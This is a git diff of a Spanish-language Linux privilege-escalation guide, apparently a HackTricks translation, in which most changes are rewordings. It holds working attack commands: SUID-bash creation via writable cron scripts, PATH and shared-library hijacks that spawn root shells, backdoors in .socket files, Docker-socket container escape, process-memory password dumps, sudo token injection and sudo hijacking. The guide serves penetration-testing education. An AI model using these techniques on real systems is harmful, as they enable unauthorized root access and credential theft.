_Ten en cuenta que estos comandos mostrarán mucha información que en su mayoría será inútil, por lo tanto se recomienda utilizar algunas aplicaciones como OpenVAS o similares que verificarán si alguna versión de software instalada es vulnerable a exploits conocidos_
|
||||
{% endhint %}
|
||||
|
||||
## Procesos
|
||||
|
@ -190,7 +191,7 @@ ps aux
|
|||
ps -ef
|
||||
top -n 1
|
||||
```
|
||||
Siempre verifica si hay posibles [**depuradores de electron/cef/chromium** en ejecución, podrías abusar de ello para escalar privilegios](electron-cef-chromium-debugger-abuse.md). **Linpeas** los detecta revisando el parámetro `--inspect` dentro de la línea de comandos del proceso.\
|
||||
Siempre verifica la posible presencia de [**depuradores de electron/cef/chromium** en ejecución, podrías abusar de ello para escalar privilegios](electron-cef-chromium-debugger-abuse.md). **Linpeas** los detecta revisando el parámetro `--inspect` dentro de la línea de comandos del proceso.\
|
||||
También **verifica tus privilegios sobre los binarios de los procesos**, tal vez puedas sobrescribir a alguien.
|
||||
|
||||
### Monitoreo de procesos
|
||||
|
@ -204,13 +205,13 @@ Normalmente necesitarás **privilegios de root** para leer la memoria de proceso
|
|||
Sin embargo, recuerda que **como usuario regular puedes leer la memoria de los procesos que posees**.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Ten en cuenta que hoy en día la mayoría de las máquinas **no permiten ptrace de forma predeterminada**, lo que significa que no puedes volcar otros procesos que pertenecen a tu usuario no privilegiado.
|
||||
Ten en cuenta que en la actualidad la mayoría de las máquinas **no permiten ptrace de forma predeterminada**, lo que significa que no puedes volcar otros procesos que pertenecen a tu usuario no privilegiado.
|
||||
|
||||
El archivo _**/proc/sys/kernel/yama/ptrace\_scope**_ controla la accesibilidad de ptrace:
|
||||
|
||||
* **kernel.yama.ptrace\_scope = 0**: todos los procesos pueden ser depurados, siempre y cuando tengan el mismo uid. Esta es la forma clásica en la que funcionaba ptrace.
|
||||
* **kernel.yama.ptrace\_scope = 1**: solo un proceso padre puede ser depurado.
|
||||
* **kernel.yama.ptrace\_scope = 2**: Solo el administrador puede usar ptrace, ya que requiere la capacidad CAP\_SYS\_PTRACE.
|
||||
* **kernel.yama.ptrace\_scope = 2**: Solo un administrador puede usar ptrace, ya que requiere la capacidad CAP\_SYS\_PTRACE.
|
||||
* **kernel.yama.ptrace\_scope = 3**: Ningún proceso puede ser rastreado con ptrace. Una vez establecido, se necesita un reinicio para habilitar el rastreo nuevamente.
|
||||
{% endhint %}
|
||||
|
||||
|
@ -308,7 +309,7 @@ Si descubres que el proceso del autenticador está en ejecución:
|
|||
ps -ef | grep "authenticator"
|
||||
root 2027 2025 0 11:46 ? 00:00:00 authenticator
|
||||
```
|
||||
Puedes volcar el proceso (consulta las secciones anteriores para encontrar diferentes formas de volcar la memoria de un proceso) y buscar credenciales dentro de la memoria:
|
||||
Puedes volcar el proceso (ver secciones anteriores para encontrar diferentes formas de volcar la memoria de un proceso) y buscar credenciales dentro de la memoria:
|
||||
```bash
|
||||
./dump-memory.sh 2027
|
||||
strings *.dump | grep -i password
|
||||
|
@ -323,7 +324,7 @@ La herramienta [**https://github.com/huntergregal/mimipenguin**](https://github.
|
|||
| Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon |
|
||||
| LightDM (Ubuntu Desktop) | lightdm |
|
||||
| VSFTPd (Conexiones FTP activas) | vsftpd |
|
||||
| Apache2 (Sesiones activas de autenticación básica HTTP) | apache2 |
|
||||
| Apache2 (Sesiones de autenticación básica HTTP activas) | apache2 |
|
||||
| OpenSSH (Sesiones SSH activas - Uso de Sudo) | sshd: |
|
||||
|
||||
#### Search Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc)
|
||||
|
@ -355,7 +356,7 @@ Por ejemplo, dentro de _/etc/crontab_ puedes encontrar el PATH: _PATH=**/home/us
|
|||
(_Nota cómo el usuario "user" tiene privilegios de escritura sobre /home/user_)
|
||||
|
||||
Si dentro de este crontab el usuario root intenta ejecutar algún comando o script sin establecer la ruta. Por ejemplo: _\* \* \* \* root overwrite.sh_\
|
||||
Entonces, puedes obtener un shell de root utilizando:
|
||||
Entonces, puedes obtener un shell de root usando:
|
||||
```bash
|
||||
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
|
||||
#Wait cron job to be executed
|
||||
|
@ -375,23 +376,23 @@ Lee la siguiente página para conocer más trucos de explotación de comodines:
|
|||
[wildcards-spare-tricks.md](wildcards-spare-tricks.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Sobrescribir script de Cron y symlink
|
||||
### Sobrescritura de script Cron y enlace simbólico
|
||||
|
||||
Si **puedes modificar un script de cron** ejecutado por root, puedes obtener una shell muy fácilmente:
|
||||
Si **puedes modificar un script Cron** ejecutado por root, puedes obtener una shell muy fácilmente:
|
||||
```bash
|
||||
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT>
|
||||
#Wait until it is executed
|
||||
/tmp/bash -p
|
||||
```
|
||||
Si el script ejecutado por root utiliza un **directorio al que tienes acceso total**, tal vez podría ser útil eliminar esa carpeta y **crear un enlace simbólico a otra** que sirva un script controlado por ti.
|
||||
Si el script ejecutado por root utiliza un **directorio al que tienes acceso total**, tal vez podría ser útil eliminar esa carpeta y **crear un enlace simbólico a otra** que sirva a un script controlado por ti.
|
||||
```bash
|
||||
ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>
|
||||
```
|
||||
### Trabajos cron frecuentes
|
||||
### Tareas cron frecuentes
|
||||
|
||||
Puedes monitorear los procesos para buscar aquellos que se están ejecutando cada 1, 2 o 5 minutos. Tal vez puedas aprovecharlo y escalar privilegios.
|
||||
|
||||
Por ejemplo, para **monitorear cada 0.1s durante 1 minuto**, **ordenar por comandos menos ejecutados** y eliminar los comandos que se han ejecutado más veces, puedes hacer lo siguiente:
|
||||
Por ejemplo, para **monitorear cada 0.1s durante 1 minuto**, **ordenar por comandos menos ejecutados** y eliminar los comandos que han sido ejecutados con más frecuencia, puedes hacer lo siguiente:
|
||||
```bash
|
||||
for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;
|
||||
```
|
||||
|
@ -412,7 +413,7 @@ Por ejemplo, cree su puerta trasera dentro del archivo .service con **`ExecStart
|
|||
|
||||
### Binarios de servicios con permisos de escritura
|
||||
|
||||
Tenga en cuenta que si tiene **permisos de escritura sobre los binarios ejecutados por los servicios**, puede cambiarlos por puertas traseras para que cuando los servicios se vuelvan a ejecutar, las puertas traseras se ejecuten.
|
||||
Tenga en cuenta que si tiene **permisos de escritura sobre los binarios que son ejecutados por los servicios**, puede cambiarlos por puertas traseras para que cuando los servicios se vuelvan a ejecutar, las puertas traseras se ejecuten.
|
||||
|
||||
### Rutas relativas de systemd PATH
|
||||
|
||||
|
@ -420,13 +421,13 @@ Puede ver el PATH utilizado por **systemd** con:
|
|||
```bash
|
||||
systemctl show-environment
|
||||
```
|
||||
Si descubres que puedes **escribir** en cualquiera de las carpetas de la ruta, es posible que puedas **escalar privilegios**. Debes buscar **rutas relativas que se utilicen en archivos de configuraciones de servicios** como:
|
||||
Si descubres que puedes **escribir** en cualquiera de las carpetas de la ruta, es posible que puedas **escalar privilegios**. Debes buscar **rutas relativas que se utilicen en archivos de configuración de servicios** como:
|
||||
```bash
|
||||
ExecStart=faraday-server
|
||||
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
|
||||
ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"
|
||||
```
|
||||
Luego, crea un **ejecutable** con el **mismo nombre que la ruta relativa del binario** dentro de la carpeta PATH de systemd donde puedas escribir, y cuando se solicite al servicio ejecutar la acción vulnerable (**Start**, **Stop**, **Reload**), se ejecutará tu **puerta trasera** (los usuarios sin privilegios generalmente no pueden iniciar/detener servicios, pero verifica si puedes usar `sudo -l`).
|
||||
Luego, crea un **ejecutable** con el **mismo nombre que el binario de la ruta relativa** dentro de la carpeta PATH de systemd donde puedas escribir, y cuando se solicite al servicio ejecutar la acción vulnerable (**Start**, **Stop**, **Reload**), se ejecutará tu **puerta trasera** (los usuarios sin privilegios generalmente no pueden iniciar/detener servicios, pero verifica si puedes usar `sudo -l`).
|
||||
|
||||
**Obtén más información sobre los servicios con `man systemd.service`.**
|
||||
|
||||
|
@ -466,26 +467,26 @@ Ten en cuenta que el **temporizador** se **activa** creando un enlace simbólico
|
|||
|
||||
## Sockets
|
||||
|
||||
Los Sockets de Dominio Unix (UDS) permiten la **comunicación entre procesos** en la misma o diferentes máquinas dentro de modelos cliente-servidor. Utilizan archivos de descriptor estándar de Unix para la comunicación entre computadoras y se configuran a través de archivos `.socket`.
|
||||
Los Sockets de Dominio Unix (UDS) permiten la **comunicación entre procesos** en las mismas o diferentes máquinas dentro de modelos cliente-servidor. Utilizan archivos de descriptor estándar de Unix para la comunicación entre computadoras y se configuran a través de archivos `.socket`.
|
||||
|
||||
Los sockets se pueden configurar utilizando archivos `.socket`.
|
||||
Los Sockets se pueden configurar utilizando archivos `.socket`.
|
||||
|
||||
**Aprende más sobre los sockets con `man systemd.socket`.** Dentro de este archivo, se pueden configurar varios parámetros interesantes:
|
||||
|
||||
* `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Estas opciones son diferentes pero se utiliza un resumen para **indicar dónde va a escuchar** el socket (la ruta del archivo de socket AF\_UNIX, el número de puerto IPv4/6, etc.)
|
||||
* `Accept`: Toma un argumento booleano. Si es **true**, se genera una **instancia de servicio para cada conexión entrante** y solo se le pasa el socket de conexión. Si es **false**, todos los sockets de escucha se pasan **al servicio iniciado**, y solo se genera una instancia de servicio para todas las conexiones. Este valor se ignora para los sockets de datagramas y FIFOs donde una única unidad de servicio maneja incondicionalmente todo el tráfico entrante. **Por defecto es false**. Por razones de rendimiento, se recomienda escribir nuevos demonios solo de una manera adecuada para `Accept=no`.
|
||||
* `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Estas opciones son diferentes pero se utiliza un resumen para **indicar dónde va a escuchar** el socket (la ruta del archivo de socket AF\_UNIX, la dirección IPv4/6 y/o el número de puerto para escuchar, etc.)
|
||||
* `Accept`: Toma un argumento booleano. Si es **true**, se genera una **instancia de servicio para cada conexión entrante** y solo se pasa el socket de conexión a ella. Si es **false**, todos los sockets de escucha se pasan **a la unidad de servicio iniciada**, y solo se genera una unidad de servicio para todas las conexiones. Este valor se ignora para los sockets de datagramas y FIFOs donde una única unidad de servicio maneja incondicionalmente todo el tráfico entrante. **Por defecto es false**. Por razones de rendimiento, se recomienda escribir nuevos demonios solo de una manera que sea adecuada para `Accept=no`.
|
||||
* `ExecStartPre`, `ExecStartPost`: Toma una o más líneas de comando, que se **ejecutan antes** o **después** de que los **sockets**/FIFOs de escucha se **crean** y se enlazan, respectivamente. El primer token de la línea de comando debe ser un nombre de archivo absoluto, seguido de argumentos para el proceso.
|
||||
* `ExecStopPre`, `ExecStopPost`: Comandos adicionales que se **ejecutan antes** o **después** de que los **sockets**/FIFOs de escucha se **cierran** y se eliminan, respectivamente.
|
||||
* `Service`: Especifica el nombre de la unidad de **servicio** para **activar** en el **tráfico entrante**. Esta configuración solo se permite para sockets con Accept=no. Por defecto, es el servicio que lleva el mismo nombre que el socket (con el sufijo reemplazado). En la mayoría de los casos, no debería ser necesario usar esta opción.
|
||||
* `Service`: Especifica el nombre de la **unidad de servicio** **a activar** en el **tráfico entrante**. Esta configuración solo se permite para sockets con Accept=no. Por defecto, es el servicio que lleva el mismo nombre que el socket (con el sufijo reemplazado). En la mayoría de los casos, no debería ser necesario usar esta opción.
|
||||
|
||||
### Archivos .socket con permisos de escritura
|
||||
### Archivos .socket modificables
|
||||
|
||||
Si encuentras un archivo `.socket` **con permisos de escritura**, puedes **agregar** al principio de la sección `[Socket]` algo como: `ExecStartPre=/home/kali/sys/backdoor` y la puerta trasera se ejecutará antes de que se cree el socket. Por lo tanto, **probablemente necesitarás esperar hasta que la máquina se reinicie.**\
|
||||
_Nota que el sistema debe estar utilizando esa configuración de archivo de socket o la puerta trasera no se ejecutará_
|
||||
Si encuentras un archivo `.socket` **modificable**, puedes **agregar** al principio de la sección `[Socket]` algo como: `ExecStartPre=/home/kali/sys/backdoor` y el backdoor se ejecutará antes de que se cree el socket. Por lo tanto, **probablemente necesitarás esperar hasta que la máquina se reinicie.**\
|
||||
_Nota que el sistema debe estar utilizando esa configuración de archivo de socket o el backdoor no se ejecutará_
|
||||
|
||||
### Sockets con permisos de escritura
|
||||
### Sockets modificables
|
||||
|
||||
Si **identificas algún socket con permisos de escritura** (_ahora estamos hablando de Sockets Unix y no de los archivos de configuración `.socket`_), entonces **puedes comunicarte** con ese socket y tal vez explotar una vulnerabilidad.
|
||||
Si **identificas algún socket modificable** (_ahora estamos hablando de Sockets Unix y no de los archivos de configuración `.socket`_), entonces **puedes comunicarte** con ese socket y tal vez explotar una vulnerabilidad.
|
||||
|
||||
### Enumerar Sockets Unix
|
||||
```bash
|
||||
|
@ -514,7 +515,7 @@ curl --max-time 2 --unix-socket /pat/to/socket/files http:/index
|
|||
```
|
||||
### Socket de Docker Escribible
|
||||
|
||||
El socket de Docker, que se encuentra a menudo en `/var/run/docker.sock`, es un archivo crítico que debe estar asegurado. Por defecto, es escribible por el usuario `root` y los miembros del grupo `docker`. Poseer acceso de escritura a este socket puede llevar a una escalada de privilegios. Aquí tienes un desglose de cómo se puede hacer esto y métodos alternativos si la CLI de Docker no está disponible.
|
||||
El socket de Docker, que se encuentra comúnmente en `/var/run/docker.sock`, es un archivo crítico que debe estar asegurado. Por defecto, es escribible por el usuario `root` y los miembros del grupo `docker`. Poseer acceso de escritura a este socket puede llevar a una escalada de privilegios. Aquí tienes un desglose de cómo se puede lograr esto y métodos alternativos si la CLI de Docker no está disponible.
|
||||
|
||||
#### **Escalada de Privilegios con la CLI de Docker**
|
||||
|
||||
|
@ -537,19 +538,19 @@ curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json
|
|||
2. **Crear un Contenedor:** Enviar una solicitud para crear un contenedor que monta el directorio raíz del sistema host.
|
||||
|
||||
```bash
|
||||
curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"<IDdeImagen>","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create
|
||||
curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"<ImageID>","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create
|
||||
```
|
||||
|
||||
Iniciar el contenedor recién creado:
|
||||
|
||||
```bash
|
||||
curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/<IDdeNuevoContenedor>/start
|
||||
curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/<NewContainerID>/start
|
||||
```
|
||||
3. **Adjuntarse al Contenedor:** Usar `socat` para establecer una conexión al contenedor, permitiendo la ejecución de comandos dentro de él.
|
||||
|
||||
```bash
|
||||
socat - UNIX-CONNECT:/var/run/docker.sock
|
||||
POST /containers/<IDdeNuevoContenedor>/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1
|
||||
POST /containers/<NewContainerID>/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1
|
||||
Host:
|
||||
Connection: Upgrade
|
||||
Upgrade: tcp
|
||||
|
@ -559,7 +560,7 @@ Después de configurar la conexión `socat`, puedes ejecutar comandos directamen
|
|||
|
||||
### Otros
|
||||
|
||||
Ten en cuenta que si tienes permisos de escritura sobre el socket de docker porque estás **dentro del grupo `docker`** tienes [**más formas de escalar privilegios**](interesting-groups-linux-pe/#docker-group). Si el [**API de docker está escuchando en un puerto** también puedes comprometerlo](../../network-services-pentesting/2375-pentesting-docker.md#compromising).
|
||||
Ten en cuenta que si tienes permisos de escritura sobre el socket de docker porque estás **dentro del grupo `docker`** tienes [**más formas de escalar privilegios**](interesting-groups-linux-pe/#docker-group). Si la [**API de docker está escuchando en un puerto** también puedes comprometerla](../../network-services-pentesting/2375-pentesting-docker.md#compromising).
|
||||
|
||||
Consulta **más formas de escapar de docker o abusar de él para escalar privilegios** en:
|
||||
|
||||
|
@ -593,7 +594,7 @@ D-Bus opera en un modelo de **permitir/denegar**, gestionando permisos de mensaj
|
|||
|
||||
Se proporciona un ejemplo de tal política en `/etc/dbus-1/system.d/wpa_supplicant.conf`, detallando permisos para que el usuario root posea, envíe y reciba mensajes de `fi.w1.wpa_supplicant1`.
|
||||
|
||||
Las políticas sin un usuario o grupo especificado se aplican universalmente, mientras que las políticas de contexto "default" se aplican a todos los no cubiertos por otras políticas específicas.
|
||||
Las políticas sin un usuario o grupo especificado se aplican universalmente, mientras que las políticas de contexto "predeterminado" se aplican a todos los no cubiertos por otras políticas específicas.
|
||||
```xml
|
||||
<policy user="root">
|
||||
<allow own="fi.w1.wpa_supplicant1"/>
|
||||
|
@ -706,11 +707,11 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi
|
|||
```
|
||||
### Contraseñas conocidas
|
||||
|
||||
Si **conoces alguna contraseña** del entorno, **intenta iniciar sesión como cada usuario** utilizando la contraseña.
|
||||
Si **conoces alguna contraseña** del entorno, intenta iniciar sesión como cada usuario utilizando la contraseña.
|
||||
|
||||
### Su Brute
|
||||
|
||||
Si no te importa hacer mucho ruido y los binarios `su` y `timeout` están presentes en la computadora, puedes intentar forzar el usuario usando [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\
|
||||
Si no te importa hacer mucho ruido y los binarios `su` y `timeout` están presentes en la computadora, puedes intentar forzar el usuario utilizando [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\
|
||||
[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) con el parámetro `-a` también intenta forzar usuarios.
|
||||
|
||||
## Abusos de PATH con permisos de escritura
|
||||
|
@ -780,19 +781,19 @@ sudo less /var/log/something /etc/shadow #Red 2 files
|
|||
|
||||
### Comando Sudo/binario SUID sin ruta de comando
|
||||
|
||||
Si se otorga el **permiso sudo** a un solo comando **sin especificar la ruta**: _hacker10 ALL= (root) less_, se puede explotar cambiando la variable PATH.
|
||||
Si se otorga el **permiso sudo** a un solo comando **sin especificar la ruta**: _hacker10 ALL= (root) less_ se puede explotar cambiando la variable PATH
|
||||
```bash
|
||||
export PATH=/tmp:$PATH
|
||||
#Put your backdoor in /tmp and name it "less"
|
||||
sudo less
|
||||
```
|
||||
Este técnica también se puede usar si un binario **suid** **ejecuta otro comando sin especificar la ruta (siempre verifica con** _**strings**_ **el contenido de un binario SUID sospechoso)**.
|
||||
Este técnica también se puede utilizar si un binario **suid** **ejecuta otro comando sin especificar la ruta (siempre verificar con** _**strings**_ **el contenido de un binario SUID extraño)**.
|
||||
|
||||
[Ejemplos de carga útil para ejecutar.](payloads-to-execute.md)
|
||||
|
||||
### Binario SUID con ruta de comando
|
||||
|
||||
Si el **binario suid** **ejecuta otro comando especificando la ruta**, entonces puedes intentar **exportar una función** con el mismo nombre que el comando que el archivo suid está llamando.
|
||||
Si el **binario suid** **ejecuta otro comando especificando la ruta**, entonces puedes intentar **exportar una función** con el nombre del comando que el archivo suid está llamando.
|
||||
|
||||
Por ejemplo, si un binario suid llama a _**/usr/sbin/service apache2 start**_ debes intentar crear la función y exportarla:
|
||||
```bash
|
||||
|
@ -881,7 +882,7 @@ Compila el archivo C anterior en un archivo de objeto compartido (.so) con:
|
|||
```bash
|
||||
gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c
|
||||
```
|
||||
Finalmente, ejecutar el binario SUID afectado debería activar el exploit, permitiendo comprometer potencialmente el sistema.
|
||||
Finalmente, ejecutar el binario SUID afectado debería activar el exploit, permitiendo una posible compromisión del sistema.
|
||||
|
||||
## Secuestro de Objetos Compartidos
|
||||
```bash
|
||||
|
@ -906,11 +907,11 @@ setresuid(0,0,0);
|
|||
system("/bin/bash -p");
|
||||
}
|
||||
```
|
||||
Si obtienes un error como
|
||||
Si recibes un error como
|
||||
```shell-session
|
||||
./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name
|
||||
```
|
||||
Esto significa que la biblioteca que has generado debe tener una función llamada `a_function_name`.
|
||||
Esto significa que la biblioteca que has generado necesita tener una función llamada `a_function_name`.
|
||||
|
||||
### GTFOBins
|
||||
|
||||
|
@ -946,7 +947,7 @@ Requisitos para escalar privilegios:
|
|||
|
||||
Si se cumplen todos estos requisitos, **puedes escalar privilegios usando:** [**https://github.com/nongiach/sudo\_inject**](https://github.com/nongiach/sudo\_inject)
|
||||
|
||||
* El **primer exploit** (`exploit.sh`) creará el binario `activate_sudo_token` en _/tmp_. Puedes usarlo para **activar el token de sudo en tu sesión** (no obtendrás automáticamente un shell root, haz `sudo su`):
|
||||
* El **primer exploit** (`exploit.sh`) creará el binario `activate_sudo_token` en _/tmp_. Puedes usarlo para **activar el token de sudo en tu sesión** (no obtendrás automáticamente un shell de root, haz `sudo su`):
|
||||
```bash
|
||||
bash exploit.sh
|
||||
/tmp/activate_sudo_token
|
||||
|
@ -957,15 +958,15 @@ sudo su
|
|||
bash exploit_v2.sh
|
||||
/tmp/sh -p
|
||||
```
|
||||
* El **tercer exploit** (`exploit_v3.sh`) **creará un archivo sudoers** que hace que **los tokens de sudo sean eternos y permite que todos los usuarios usen sudo**
|
||||
* El **tercer exploit** (`exploit_v3.sh`) **creará un archivo sudoers** que hace que **los tokens de sudo sean eternos y permite que todos los usuarios usen sudo**.
|
||||
```bash
|
||||
bash exploit_v3.sh
|
||||
sudo su
|
||||
```
|
||||
### /var/run/sudo/ts/\<Nombre de usuario>
|
||||
|
||||
Si tienes **permisos de escritura** en la carpeta o en cualquiera de los archivos creados dentro de la carpeta, puedes usar el binario [**write\_sudo\_token**](https://github.com/nongiach/sudo\_inject/tree/master/extra\_tools) para **crear un token de sudo para un usuario y PID**.\
|
||||
Por ejemplo, si puedes sobrescribir el archivo _/var/run/sudo/ts/sampleuser_ y tienes una shell como ese usuario con PID 1234, puedes **obtener privilegios de sudo** sin necesidad de conocer la contraseña haciendo:
|
||||
Si tienes **permisos de escritura** en la carpeta o en cualquiera de los archivos creados dentro de la carpeta, puedes usar el binario [**write\_sudo\_token**](https://github.com/nongiach/sudo\_inject/tree/master/extra\_tools) para **crear un token sudo para un usuario y PID**.\
|
||||
Por ejemplo, si puedes sobrescribir el archivo _/var/run/sudo/ts/sampleuser_ y tienes una shell como ese usuario con PID 1234, puedes **obtener privilegios sudo** sin necesidad de conocer la contraseña haciendo:
|
||||
```bash
|
||||
./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser
|
||||
```
|
||||
|
@ -997,7 +998,7 @@ permit nopass demo as root cmd vim
|
|||
```
|
||||
### Secuestro de Sudo
|
||||
|
||||
Si sabes que un **usuario suele conectarse a una máquina y usar `sudo`** para escalar privilegios y has obtenido una shell dentro del contexto de ese usuario, puedes **crear un nuevo ejecutable de sudo** que ejecutará tu código como root y luego el comando del usuario. Luego, **modifica el $PATH** del contexto de usuario (por ejemplo, agregando la nueva ruta en .bash\_profile) para que cuando el usuario ejecute sudo, se ejecute tu ejecutable de sudo.
|
||||
Si sabes que un **usuario suele conectarse a una máquina y usar `sudo`** para escalar privilegios y obtuviste una shell dentro del contexto de ese usuario, puedes **crear un nuevo ejecutable de sudo** que ejecutará tu código como root y luego el comando del usuario. Luego, **modifica el $PATH** del contexto de usuario (por ejemplo, agregando la nueva ruta en .bash\_profile) para que cuando el usuario ejecute sudo, se ejecute tu ejecutable de sudo.
|
||||
|
||||
Ten en cuenta que si el usuario utiliza un shell diferente (no bash), deberás modificar otros archivos para agregar la nueva ruta. Por ejemplo, [sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifica `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Puedes encontrar otro ejemplo en [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire\_modules/bashdoor.py)
|
||||
|
||||
|
@ -1020,11 +1021,11 @@ sudo ls
|
|||
|
||||
### ld.so
|
||||
|
||||
El archivo `/etc/ld.so.conf` indica **de dónde provienen los archivos de configuración cargados**. Normalmente, este archivo contiene la siguiente ruta: `include /etc/ld.so.conf.d/*.conf`
|
||||
El archivo `/etc/ld.so.conf` indica **de dónde se cargan los archivos de configuración**. Normalmente, este archivo contiene la siguiente ruta: `include /etc/ld.so.conf.d/*.conf`
|
||||
|
||||
Esto significa que se leerán los archivos de configuración de `/etc/ld.so.conf.d/*.conf`. Estos archivos de configuración **apuntan a otras carpetas** donde se **buscarán** las **bibliotecas**. Por ejemplo, el contenido de `/etc/ld.so.conf.d/libc.conf` es `/usr/local/lib`. **Esto significa que el sistema buscará bibliotecas dentro de `/usr/local/lib`**.
|
||||
|
||||
Si por alguna razón **un usuario tiene permisos de escritura** en alguna de las rutas indicadas: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, cualquier archivo dentro de `/etc/ld.so.conf.d/` o cualquier carpeta dentro del archivo de configuración dentro de `/etc/ld.so.conf.d/*.conf`, podría ser capaz de escalar privilegios.\
|
||||
Si por alguna razón **un usuario tiene permisos de escritura** en cualquiera de las rutas indicadas: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, cualquier archivo dentro de `/etc/ld.so.conf.d/` o cualquier carpeta dentro del archivo de configuración dentro de `/etc/ld.so.conf.d/*.conf`, podría ser capaz de escalar privilegios.\
|
||||
Echa un vistazo a **cómo explotar esta mala configuración** en la siguiente página:
|
||||
|
||||
{% content-ref url="ld.so.conf-example.md" %}
|
||||
|
@ -1080,9 +1081,9 @@ El bit de **"lectura"** implica que el usuario puede **listar** los **archivos**
|
|||
|
||||
## ACLs
|
||||
|
||||
Las Listas de Control de Acceso (ACLs) representan la capa secundaria de permisos discrecionales, capaces de **anular los permisos tradicionales ugo/rwx**. Estos permisos mejoran el control sobre el acceso a archivos o directorios al permitir o denegar derechos a usuarios específicos que no son los propietarios o parte del grupo. Este nivel de **granularidad garantiza una gestión de acceso más precisa**. Se pueden encontrar más detalles [**aquí**](https://linuxconfig.org/how-to-manage-acls-on-linux).
|
||||
Las Listas de Control de Acceso (ACLs) representan la capa secundaria de permisos discrecionales, capaces de **anular los permisos tradicionales ugo/rwx**. Estos permisos mejoran el control sobre el acceso a archivos o directorios al permitir o denegar derechos a usuarios específicos que no son los propietarios o parte del grupo. Este nivel de **granularidad garantiza una gestión de acceso más precisa**. Más detalles se pueden encontrar [**aquí**](https://linuxconfig.org/how-to-manage-acls-on-linux).
|
||||
|
||||
**Otorga** al usuario "kali" permisos de lectura y escritura sobre un archivo:
|
||||
**Dar** al usuario "kali" permisos de lectura y escritura sobre un archivo:
|
||||
```bash
|
||||
setfacl -m u:kali:rw file.txt
|
||||
#Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included)
|
||||
|
@ -1095,7 +1096,7 @@ getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null
|
|||
```
|
||||
## Sesiones de shell abiertas
|
||||
|
||||
En las **versiones antiguas** puedes **secuestrar** alguna sesión de **shell** de un usuario diferente (**root**).\
|
||||
En las **versiones antiguas** puedes **secuestrar** alguna **sesión de shell** de un usuario diferente (**root**).\
|
||||
En las **versiones más recientes** solo podrás **conectarte** a sesiones de pantalla de **tu propio usuario**. Sin embargo, podrías encontrar **información interesante dentro de la sesión**.
|
||||
|
||||
### Secuestro de sesiones de pantalla
|
||||
|
@ -1115,7 +1116,7 @@ screen -x [user]/[session id]
|
|||
```
|
||||
## Secuestro de sesiones de tmux
|
||||
|
||||
Este era un problema con las **versiones antiguas de tmux**. No pude secuestrar una sesión de tmux (v2.1) creada por root como un usuario no privilegiado.
|
||||
Este era un problema con **versiones antiguas de tmux**. No pude secuestrar una sesión de tmux (v2.1) creada por root como un usuario no privilegiado.
|
||||
|
||||
**Listar sesiones de tmux**
|
||||
```bash
|
||||
|
@ -1135,11 +1136,11 @@ rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs c
|
|||
# If you are root or devs you can access it
|
||||
tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket
|
||||
```
|
||||
Revisa **Valentine box de HTB** para un ejemplo.
|
||||
Verifique **Valentine box de HTB** para un ejemplo.
|
||||
|
||||
## SSH
|
||||
|
||||
### Debian OpenSSL PRNG Predecible - CVE-2008-0166
|
||||
### Debian OpenSSL Predictable PRNG - CVE-2008-0166
|
||||
|
||||
Todas las claves SSL y SSH generadas en sistemas basados en Debian (Ubuntu, Kubuntu, etc) entre septiembre de 2006 y el 13 de mayo de 2008 pueden verse afectadas por este error.\
|
||||
